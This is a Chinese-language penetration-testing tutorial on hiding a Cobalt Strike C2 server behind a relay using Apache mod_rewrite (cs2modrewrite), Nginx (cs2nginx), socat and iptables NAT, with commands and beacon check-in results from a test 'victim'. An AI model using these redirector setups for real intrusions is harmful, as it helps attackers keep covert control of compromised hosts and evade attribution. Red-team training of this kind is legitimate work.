渗透测试|CS使用请求转发隐藏真实IP

渗透测试|CS使用请求转发隐藏真实IP

73d368f8214db28c6824b12674bde470-3

前言

 

隐藏真实IP除了之前记录的CDN和域前置外,请求转发也属于其中的一种,即Beacon的通信地址是一台中转机器,该中转机会将收到的相关请求转发给我们的C2服务器,从而达到C2IP隐藏的目的,也可以叫它端口转发,类似于下面这个图:

300ad17ae53d804acfb82b76e3868e9c

 

 

可以用来做请求转发的软件有很多,比如说Apache、Nginx、Socat以及系统自带的IPtables等等。

 

Apache

 

.htaccess是Apache的一个配置文件,可用来配置301重定向、404错误页面、改变扩展名、禁用目录列表等等,这里我们使用.htaccess来进行请求转发。

 

这里需要两台机器,如果没有公网机器,则测试的时候虚拟机也可以,首先中转服务器上要安装apache,这里是ubuntu相关命令如下:

 

# 安装apache

sudo apt install apache2

# 利用apachea2enmod命令工具,来启用相关的模块

sudo a2enmod rewrite headers proxy proxy_http ssl cache

# 利用apachea2dismod命令工具,来禁用相关的模块

sudo a2dismod -f deflate

# apache下有多个站点时,通过a2ensite可激活站点

sudo a2ensite default-ssl

# apache下有多个站点时,通过a2dissite可屏蔽站点

sudo a2dissite 000-default

# 站点的激活和屏蔽需要reload来使配置生效

sudo service apache2 reload

 

然后配置apache2.conf,默认位置在/etc/apache2/apache2.conf,找到下面这段内容:

 

# /var/www为站点目录位置

Options Indexes FollowSymLinks

# AllowOverride用来指明是否去找.htaccess文件,none为忽略,all.htaccess中所有指令会生效重写

AllowOverride None

Require all granted

 

将其修改为下面这段:

 

# 改动1:改变下站点目录

Options Indexes FollowSymLinks

# 改动2:属性设置为All,使.htaccess文件生效

AllowOverride All

Require all granted

 

#改动3:添加相关配置

# .htaccess无法配置日志,这里配置日志记录等级

LogLevel alert rewrite:trace5

# 下面的内容可以不配置,但如果要通过https上线,则必须配置

SSLProxyEngine On

SSLProxyVerify none

SSLProxyCheckPeerCN off

SSLProxyCheckPeerName off

SSLProxyCheckPeerExpire off

 

apache安装并配置好后,进行重启:

 

sudo service apache2 restart

 

此时相关配置就完成了,接下来我们需要编写相关的.htaccess文件,这里我们可以直接使用脚本生成,脚本地址如下:

 

https://github.com/threatexpress/cs2modrewrite

 

使用脚本生成.htaccess文件的相关命令:

 

git clone https://github.com/threatexpress/cs2modrewrite

cd cs2modrewrite

# i指定CS使用的配置文件,c指定C2服务器的地址和端口,r指定一个地址,该地址不能和C2配置文件中的URI一样,否则不会重定向

python3 cs2modrewrite.py -i amazon.profile -c http://teamserver:port -r https://www.baidu.com > /var/www/html/.htaccess

 

CS监听相关配置如下:

c54042483c0b8f9428b1bb7e83ff94e4

 

 

随后生成马可成功上线:

 

763d9c96a9965fb690dc8169739932ab

 

上线后我们可以在中转服务器上访问apache的日志,可以看到221这个ip是我靶机的ip地址,CS马访问到了中转服务器。

 

74dca9ab81fd3e096efac3367b04889e

 

在受害机上进行抓包,通信地址是45开头的中转服务器,追踪流的host为amazon。

b385b9b4e080260223c276d0a7521ea2

 

 

再看一下https上线的情况,首先需要保证之前说的apache.conf中配置了相关的SSL,然后生成相关的.htaccess,命令如下:

 

python3 cs2modrewrite.py -i ../amazon.profile -c https://teamserver:port -r https://www.baidu.com > /var/www/html/.htaccess

 

注意,c参数跟的C2服务器ip使用的是https,这时CS的监听配置如下:

654c423729d589dff88468797f0383b4

 

 

上线后通过抓包可以看到,通信地址是中转服务器,端口为443:

32fafe9f6ea4aa433943542852f771cb

 

 

最后还有个问题是,CS上线后,IP地址显示的是我们中转服务器的IP,如果想显示目标机的IP地址,则需要在C2 profile中配置如下内容:

 

http-config {

set trust_x_forwarded_for “true”;

}

 

Nginx

 

Nginx和Apache的配置类似,原理基本一样,首先下载nginx,命令如下:

 

apt install nginx nginx-extras

 

安装后生成nginx.conf配置文件,该文件用来配置请求转发,还是用脚本生成,这次使用的是cs2nginx,命令如下:

 

python cs2nginx.py -i amazon.profile -c http://teamserver:port -r https://www.baidu.com -H kali.com > /etc/nginx/nginx.conf

 

参数和apache那个作用一样,这里多了一个H参数,该参数用来指定代理主机的域名,域名随意指定,然后需要在hosts中配置该域名ip为本机ip。

 

例如我中转服务器ip是1.1.1.1,运行上面命令H指定的是kali.com,那么我就需要在/etc/hosts中添加一行,内容为:

 

1.1.1.1    kali.com

 

这个H在nginx中用来指定hostname,也就是把ip绑定到域名上,通过域名来访问项目,如果不加H参数脚本会报错,提示必须添加。

 

e68a77c550d841163c703ccca7a3ff85

 

最后重启nginx即可,此时CS的监听配置和apache一样,可以成功上线:

 

b628d47eecc3cde30ed59dd9ec603d32

 

在中转服务器上查看nginx的访问记录,是由目标机转发到C2的记录,如下图:

9a99c17eaf734b5593e73007d7fa0473

 

 

https的则需要绑定个域名,也就是上面脚本H参数指定的那个域名,绑定到中转服务器,实现真正的解析,而不是上面那样hosts解析。绑定后给域名申请个ssl证书即可。

 

具体这里就不演示了,ali的可参考下面第一篇文章,讲解了ssl申请以及nginx的配置,如果域名在其它厂商,没有免费ssl的,则可以使用freessl,绑定了域名配置了ssl后,就可以cs上线了,和apache是一样的。

 

https://www.cnblogs.com/zhoudawei/p/9257276.html

https://my.oschina.net/qingqingdego/blog/3025526

 

最后还是关于上线显示中转服务器IP的问题,配置方法和apache一样,见apache章节。

 

Socat

 

socat工具就不多介绍了,用来进行端口间流量转发,只需要一条命令就可以搞定,命令如下:

 

socat TCP4-LISTEN:80,fork TCP4:C2IP:8888

 

TCP4-LISTEN代表监听本机IPV4上的指定端口,然后逗号跟属性配置,这里跟了一个fork,fork代表不同客户端连接会分支出来不同的进程,随后跟要转发的服务器IP和端口,IPV4就需要使用TCP4来指定。

 

创建监听如下:

 

fd52adc77c51054c838a37fbe364b8e0

 

也可以成功上线,不过IP显示的是中转服务器IP,不想apache和nginx可以通过配置文件来修改。

66dd7294963d79436dc4123cd9ae9fec

 

 

IPTables

 

iptables -I INPUT -p tcp -m tcp –dport 80 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp –dport 80 -j DNAT –to-destination c2 ip:c2 port

iptables -t nat -A POSTROUTING -j MASQUERADE

iptables -I FORWARD -j ACCEPT

iptables -P FORWARD ACCEPT

sysctl net.ipv4.ip_forward=1

 

相关命令解释可参考:

 

https://wangchujiang.com/linux-command/c/iptables.html

 

运行如下图:

 

 

51debbea924d5732095eeedf9add4048

CS监听创建还是原来的没有变化:

 

4b1501317c00d3068855561d2ffd6995

 

此时可通过iptables转发上线:

0785e55db35cc05d71543a984e788407

 

 

如果想要查看通过iptables的数据包,则可以进行如下配置:

 

iptables -t mangle -A POSTROUTING -j LOG –log-level debug –log-prefix “OUT PACKETS:”

 

vim修改/etc/syslog.conf,添加如下内容:

 

kern.debug /var/log/iptables

 

重启syslog服务:

 

service rsyslog restart

 

这时相关记录就会记录在var/log/syslog中,查看该文件,其中123是受害机ip,45为中转服务器ip:

 

526718b7f037daa91e6d16b962bf9936

 

总结

 

重定向隐藏IP原理在于先访问中转服务器,再由中转服务器转发到C2上,而可以实现这个功能的软件有很多,像上面提到的中间件Apache、Nginx,软件Socat,自带工具IPTables等等。

 

这种方法优点在于成本低,部署简单,且一些中间件也支持HTTPS通信,可以达到隐藏IP的目的,但相对也有一些缺点,不过不要紧,比如说中转服务器不是很重要,但是也不是傀儡机,而是自己的一台临时服务器,那么这个临时服务器就暴露了。另外如果中转服务器被拿下的话,那么搜集信息很可能就可以发现请求重定向的痕迹,从而找到真实C2地址。

 

请求重定向也可以和之前的CDN方法相结合,之前CDN方法是通过CDN将请求转发到真实的C2服务器上,而添加请求重定向后,流程就变为了CDN转发到中转服务器,中转服务器再转到C2,达到双重隐藏的效果。

e1e96219645d2c0658973305cfc640ec-2

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/2971

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月18日 下午10:48
下一篇 2022年1月18日 下午11:06

相关推荐

发表回复

您的电子邮箱地址不会被公开。